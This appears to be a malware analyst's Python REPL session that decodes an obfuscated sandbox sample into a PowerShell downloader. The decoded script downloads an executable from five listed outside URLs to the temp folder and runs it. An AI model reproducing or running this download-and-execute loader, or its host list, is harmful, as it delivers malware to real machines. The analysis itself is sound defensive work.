Deobfuscating data

base64 from https://www.hybrid-analysis.com/sample/5b060682f0a97793797856af8c37265825d2c6769d9e69bc14833a98672e004a


>>> t = re.findall('\d+', '36e119,115,99@114e105-112-116i32_61Y32Y110i101b119-45t111e98_106t101t99t116e32e45@67@111i109j79Y98e106j101i99@116j32-87Y83Y99j114e105j112-116i46Y83b104_101_108b108i59-36@119-101Y98i99Y108-105i101b110j116i32,61_32t110-101t119e45Y111b98,106j101_99b116Y32e83Y121@115-116e101_109i46_78_101-116,46-87b101@98b67Y108_105-101i110j116,59@36b114Y97-110t100_111-109,32j61t32@110e101@119,45i111-98Y106b101e99b116j32j114j97j110t100Y111_109e59j36-117t114j108@115b32t61e32-39_104_116_116b112b58@47@47i100@111@119b110e108b111t119_112i105,99,116t117b114@101b115-46Y99e111@109b47e84_106t80Y69t87i97@75b108@47j44-104e116t116@112_58,47_47@101-116@104,101j114b51_46e99i111t109t47Y88e97Y70Y75Y118t98e47e44i104,116i116_112-58t47i47@100b97-110i97_104@105-116-97Y46,119j101_98t46j105j100i47_120i121t99,117b90Y86t82i47@44j104-116Y116Y112b58@47b47b100j106-97Y110j103-111_46j99Y111e46@106-112e47,102e77j114@89t102_47_44@104Y116@116i112e58i47@47@104@111_116i98b111j120Y100,105Y103-105Y116t97,108b46,99e111_109@47-113j90@47Y39_46-83_112-108-105b116b40b39i44t39-41Y59-36_110j97e109t101i32-61i32t36b114_97@110-100i111_109Y46b110_101i120,116@40Y49_44-32e54,53-53@51j54-41Y59j36-112,97e116Y104t32Y61t32-36@101b110,118@58-116i101-109b112e32@43-32b39_92t39e32e43t32t36e110t97@109e101Y32Y43j32e39-46,101i120@101-39e59-102i111,114,101b97i99@104@40b36-117,114Y108,32j105_110b32j36t117b114e108-115t41e123,116@114i121i123e36@119_101@98i99j108j105_101@110b116-46e68b111@119-110-108e111-97j100i70,105@108@101Y40i36@117e114j108_46t84e111_83t116_114_105-110,103_40@41j44j32b36-112-97j116-104_41@59i83Y116j97,114b116e45b80,114_111_99,101e115-115-32_36@112j97,116j104,59@98_114i101,97t107@59i125,99-97i116i99@104e123,119t114@105t116t101e45j104t111@115Y116j32j36t95t46i69_120@99,101_112i116_105,111_110j46i77_101,115t115_97j103@101b59_125i125')
>>> t
['36', '119', '115', '99', '114', '105', '112', '116', '32', '61', '32', '110', '101', '119', '45', '111', '98', '106', '101', '99', '116', '32', '45', '67', '111', '109', '79', '98', '106', '101', '99', '116', '32', '87', '83', '99', '114', '105', '112', '116', '46', '83', '104', '101', '108', '108', '59', '36', '119', '101', '98', '99', '108', '105', '101', '110', '116', '32', '61', '32', '110', '101', '119', '45', '111', '98', '106', '101', '99', '116', '32', '83', '121', '115', '116', '101', '109', '46', '78', '101', '116', '46', '87', '101', '98', '67', '108', '105', '101', '110', '116', '59', '36', '114', '97', '110', '100', '111', '109', '32', '61', '32', '110', '101', '119', '45', '111', '98', '106', '101', '99', '116', '32', '114', '97', '110', '100', '111', '109', '59', '36', '117', '114', '108', '115', '32', '61', '32', '39', '104', '116', '116', '112', '58', '47', '47', '100', '111', '119', '110', '108', '111', '119', '112', '105', '99', '116', '117', '114', '101', '115', '46', '99', '111', '109', '47', '84', '106', '80', '69', '87', '97', '75', '108', '47', '44', '104', '116', '116', '112', '58', '47', '47', '101', '116', '104', '101', '114', '51', '46', '99', '111', '109', '47', '88', '97', '70', '75', '118', '98', '47', '44', '104', '116', '116', '112', '58', '47', '47', '100', '97', '110', '97', '104', '105', '116', '97', '46', '119', '101', '98', '46', '105', '100', '47', '120', '121', '99', '117', '90', '86', '82', '47', '44', '104', '116', '116', '112', '58', '47', '47', '100', '106', '97', '110', '103', '111', '46', '99', '111', '46', '106', '112', '47', '102', '77', '114', '89', '102', '47', '44', '104', '116', '116', '112', '58', '47', '47', '104', '111', '116', '98', '111', '120', '100', '105', '103', '105', '116', '97', '108', '46', '99', '111', '109', '47', '113', '90', '47', '39', '46', '83', '112', '108', '105', '116', '40', '39', '44', '39', '41', '59', '36', '110', '97', '109', '101', '32', '61', '32', '36', '114', '97', '110', '100', '111', '109', '46', '110', '101', '120', '116', '40', '49', '44', '32', '54', '53', '53', '51', '54', '41', '59', '36', '112', '97', '116', '104', '32', '61', '32', '36', '101', '110', '118', '58', '116', '101', '109', '112', '32', '43', '32', '39', '92', '39', '32', '43', '32', '36', '110', '97', '109', '101', '32', '43', '32', '39', '46', '101', '120', '101', '39', '59', '102', '111', '114', '101', '97', '99', '104', '40', '36', '117', '114', '108', '32', '105', '110', '32', '36', '117', '114', '108', '115', '41', '123', '116', '114', '121', '123', '36', '119', '101', '98', '99', '108', '105', '101', '110', '116', '46', '68', '111', '119', '110', '108', '111', '97', '100', '70', '105', '108', '101', '40', '36', '117', '114', '108', '46', '84', '111', '83', '116', '114', '105', '110', '103', '40', '41', '44', '32', '36', '112', '97', '116', '104', '41', '59', '83', '116', '97', '114', '116', '45', '80', '114', '111', '99', '101', '115', '115', '32', '36', '112', '97', '116', '104', '59', '98', '114', '101', '97', '107', '59', '125', '99', '97', '116', '99', '104', '123', '119', '114', '105', '116', '101', '45', '104', '111', '115', '116', '32', '36', '95', '46', '69', '120', '99', '101', '112', '116', '105', '111', '110', '46', '77', '101', '115', '115', '97', '103', '101', '59', '125', '125']
>>> map(lambda x: chr(int(x)),t)
['$', 'w', 's', 'c', 'r', 'i', 'p', 't', ' ', '=', ' ', 'n', 'e', 'w', '-', 'o', 'b', 'j', 'e', 'c', 't', ' ', '-', 'C', 'o', 'm', 'O', 'b', 'j', 'e', 'c', 't', ' ', 'W', 'S', 'c', 'r', 'i', 'p', 't', '.', 'S', 'h', 'e', 'l', 'l', ';', '$', 'w', 'e', 'b', 'c', 'l', 'i', 'e', 'n', 't', ' ', '=', ' ', 'n', 'e', 'w', '-', 'o', 'b', 'j', 'e', 'c', 't', ' ', 'S', 'y', 's', 't', 'e', 'm', '.', 'N', 'e', 't', '.', 'W', 'e', 'b', 'C', 'l', 'i', 'e', 'n', 't', ';', '$', 'r', 'a', 'n', 'd', 'o', 'm', ' ', '=', ' ', 'n', 'e', 'w', '-', 'o', 'b', 'j', 'e', 'c', 't', ' ', 'r', 'a', 'n', 'd', 'o', 'm', ';', '$', 'u', 'r', 'l', 's', ' ', '=', ' ', "'", 'h', 't', 't', 'p', ':', '/', '/', 'd', 'o', 'w', 'n', 'l', 'o', 'w', 'p', 'i', 'c', 't', 'u', 'r', 'e', 's', '.', 'c', 'o', 'm', '/', 'T', 'j', 'P', 'E', 'W', 'a', 'K', 'l', '/', ',', 'h', 't', 't', 'p', ':', '/', '/', 'e', 't', 'h', 'e', 'r', '3', '.', 'c', 'o', 'm', '/', 'X', 'a', 'F', 'K', 'v', 'b', '/', ',', 'h', 't', 't', 'p', ':', '/', '/', 'd', 'a', 'n', 'a', 'h', 'i', 't', 'a', '.', 'w', 'e', 'b', '.', 'i', 'd', '/', 'x', 'y', 'c', 'u', 'Z', 'V', 'R', '/', ',', 'h', 't', 't', 'p', ':', '/', '/', 'd', 'j', 'a', 'n', 'g', 'o', '.', 'c', 'o', '.', 'j', 'p', '/', 'f', 'M', 'r', 'Y', 'f', '/', ',', 'h', 't', 't', 'p', ':', '/', '/', 'h', 'o', 't', 'b', 'o', 'x', 'd', 'i', 'g', 'i', 't', 'a', 'l', '.', 'c', 'o', 'm', '/', 'q', 'Z', '/', "'", '.', 'S', 'p', 'l', 'i', 't', '(', "'", ',', "'", ')', ';', '$', 'n', 'a', 'm', 'e', ' ', '=', ' ', '$', 'r', 'a', 'n', 'd', 'o', 'm', '.', 'n', 'e', 'x', 't', '(', '1', ',', ' ', '6', '5', '5', '3', '6', ')', ';', '$', 'p', 'a', 't', 'h', ' ', '=', ' ', '$', 'e', 'n', 'v', ':', 't', 'e', 'm', 'p', ' ', '+', ' ', "'", '\\', "'", ' ', '+', ' ', '$', 'n', 'a', 'm', 'e', ' ', '+', ' ', "'", '.', 'e', 'x', 'e', "'", ';', 'f', 'o', 'r', 'e', 'a', 'c', 'h', '(', '$', 'u', 'r', 'l', ' ', 'i', 'n', ' ', '$', 'u', 'r', 'l', 's', ')', '{', 't', 'r', 'y', '{', '$', 'w', 'e', 'b', 'c', 'l', 'i', 'e', 'n', 't', '.', 'D', 'o', 'w', 'n', 'l', 'o', 'a', 'd', 'F', 'i', 'l', 'e', '(', '$', 'u', 'r', 'l', '.', 'T', 'o', 'S', 't', 'r', 'i', 'n', 'g', '(', ')', ',', ' ', '$', 'p', 'a', 't', 'h', ')', ';', 'S', 't', 'a', 'r', 't', '-', 'P', 'r', 'o', 'c', 'e', 's', 's', ' ', '$', 'p', 'a', 't', 'h', ';', 'b', 'r', 'e', 'a', 'k', ';', '}', 'c', 'a', 't', 'c', 'h', '{', 'w', 'r', 'i', 't', 'e', '-', 'h', 'o', 's', 't', ' ', '$', '_', '.', 'E', 'x', 'c', 'e', 'p', 't', 'i', 'o', 'n', '.', 'M', 'e', 's', 's', 'a', 'g', 'e', ';', '}', '}']
>>> ''.join(map(lambda x: chr(int(x)),t))
"$wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://downlowpictures.com/TjPEWaKl/,http://ether3.com/XaFKvb/,http://danahita.web.id/xycuZVR/,http://django.co.jp/fMrYf/,http://hotboxdigital.com/qZ/'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);Start-Process $path;break;}catch{write-host $_.Exception.Message;}}"